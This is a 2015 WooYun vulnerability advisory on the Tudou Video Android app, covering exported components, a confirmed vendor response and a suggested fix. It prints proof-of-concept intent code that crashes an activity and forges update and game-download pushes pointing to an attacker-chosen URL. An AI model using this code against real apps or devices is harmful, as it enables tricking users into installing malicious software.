当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0148477

漏洞标题:土豆视频安卓版拒绝服务/升级漏洞/任意app下载

相关厂商:土豆网

漏洞作者: tmplazy

提交时间:2015-10-22 10:21

修复时间:2016-01-20 14:10

公开时间:2016-01-20 14:10

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-22: 细节已通知厂商并且等待厂商处理中
2015-10-22: 厂商已经确认,细节仅向厂商公开
2015-10-25: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-16: 细节向核心白帽子及相关领域专家公开
2015-12-26: 细节向普通白帽子公开
2016-01-05: 细节向实习白帽子公开
2016-01-20: 细节向公众公开

简要描述:

土豆视频安卓版存在一处拒绝服务,2处升级漏洞,2处游戏任意下载漏洞

详细说明:

QQ图片20151021201447.png

首先是最新版本。

QQ截图20151021201643.png

activity组件暴露,

QQ截图20151021201815.png


构造一个空intent,可以导致其崩溃。

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.tudou.android", "com.tudou.ui.activity.CacheEditActivity"));
startActivity(intent);


Screenshot_2015-10-21-19-07-36.png


接着看土豆视频的升级漏洞。

QQ截图20151021202100.png


StartActivityService这个服务可以通过外部访问。

QQ截图20151021202251.png


从上面的代码可以看出当传入的PushMsg的type为1时可以会进行更新,而且 updateurl ,updateversion,updatecontent都是可以控制的,所以写下代码

PushMsg pushMsg = new PushMsg();
pushMsg.type = 1;
pushMsg.updateurl = "http://**.**.**.**/apps/com.qiyi.video/download";
pushMsg.updatecontent = "test";
pushMsg.updateversion = "5.5";
Intent fake = new Intent();
fake.setClassName("com.tudou.android", "com.tudou.push.StartActivityService");
fake.putExtra("PushMsg", pushMsg);
startService(fake);


代码中的PushMsg不需要自己实现,将土豆视频反编译,再将自己的程序反编译,将土豆视频中的PushMsg.Smali替换自己程序的的PushMsg.Smali就可以了。
我将更新链接指向了豌豆荚的爱奇艺视频。。。

Screenshot_2015-10-21-19-07-54.png

Screenshot_2015-10-21-19-08-05.png

Screenshot_2015-10-21-19-08-49(1).png


可以看到安装时显示的是爱奇艺的app。如果伪造的像一点的话危害还是非常大的。
但是仅仅将此处的服务exported改为false,依旧不能避免这种升级漏洞。
我又发现了一处问题,即使这里改exported为false仍然可以利用。

QQ截图20151021203058.png

图中的EmptyActivity可以通过外部访问。

QQ截图20151021203308.png

可以看到通过构造intent的action不为download,依旧可以启动StartActivityService。

PushMsg pushMsg_1 = new PushMsg();
pushMsg_1.type = 1;
pushMsg_1.updateurl = "http://**.**.**.**/apps/com.qiyi.video/download";
pushMsg_1.updatecontent = "test";
pushMsg_1.updateversion = "5.5";
Intent fake_1 = new Intent();
fake_1.setClassName("com.tudou.android", "com.tudou.push.EmptyActivity");
fake_1.putExtra("PushMsg", pushMsg_1);
fake_1.setAction("test");
startActivity(fake_1);


成功利用后的结果跟之前的是一样的。
最后是app任意下载漏洞。
土豆视频里面有一个游戏中心。问题同样出自StartActivityService。

QQ截图20151021203808.png

当PushMsg的type为6时,会启动GameCenterHomeActivity,而各种参数都是可以控制的。

PushMsg pushMsg_2 = new PushMsg();
pushMsg_2.type = 6;
pushMsg_2.pkg_name = "com.tudou.android";
pushMsg_2.content="test";
pushMsg_2.url ="http://**.**.**.**/apps/com.tudou.android/download";
pushMsg_2.icon = "";
pushMsg_2.ver_code = 123;
pushMsg_2.game_id = "111";
pushMsg_2.source = "test";
Intent fake_2 = new Intent();
fake_2.setClassName("com.tudou.android", "com.tudou.push.StartActivityService");
fake_2.putExtra("PushMsg", pushMsg_2);
startService(fake_2);


Screenshot_2015-10-21-19-50-32.png


从图中可以看出有1款游戏待安装。想下载什么应用可以通过PushMsg的url进行构造,我上面下载的是豌豆荚下的土豆视频,如果被拿过来恶意利用可以执行任何地方,就实现了任意app下载。伪造的像一点让用户点击安装就后果不堪设想了。
同样的出现这样问题的不止这里。上面这个是通过StartActivityService启动GameCenterHomeActivity。然而GameCenterHomeActivity是直接可以通过外部应用访问的。

QQ截图20151021204621.png

也就是说直接构造恶意intent,启动GameCenterHomeActivity可以带到app下载的目的。
最后的话StartActivityService根据pushMsg的type不同还可以做很多事情。还能下载视频。。一堆问题。。。。
最后我写的验证程序
http://**.**.**.**/s/1qWnCR4C 提取码94ve

漏洞证明:

Screenshot_2015-10-21-19-07-36.png

Screenshot_2015-10-21-19-50-32.png

Screenshot_2015-10-21-19-07-54.png

修复方案:

修改组件的exported属性,还有上面提到的EmptyActivity有Log.i("pushtest", "emptyactivity启动");这么一句语句,猜测这个activity是开发过程中留下的,如果是的话应该处理掉。

版权声明:转载请注明来源 tmplazy@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-10-22 14:09

厂商回复:

漏洞说明详细,已通知开发,多谢tmplazy

最新状态:

暂无


漏洞评价:

评价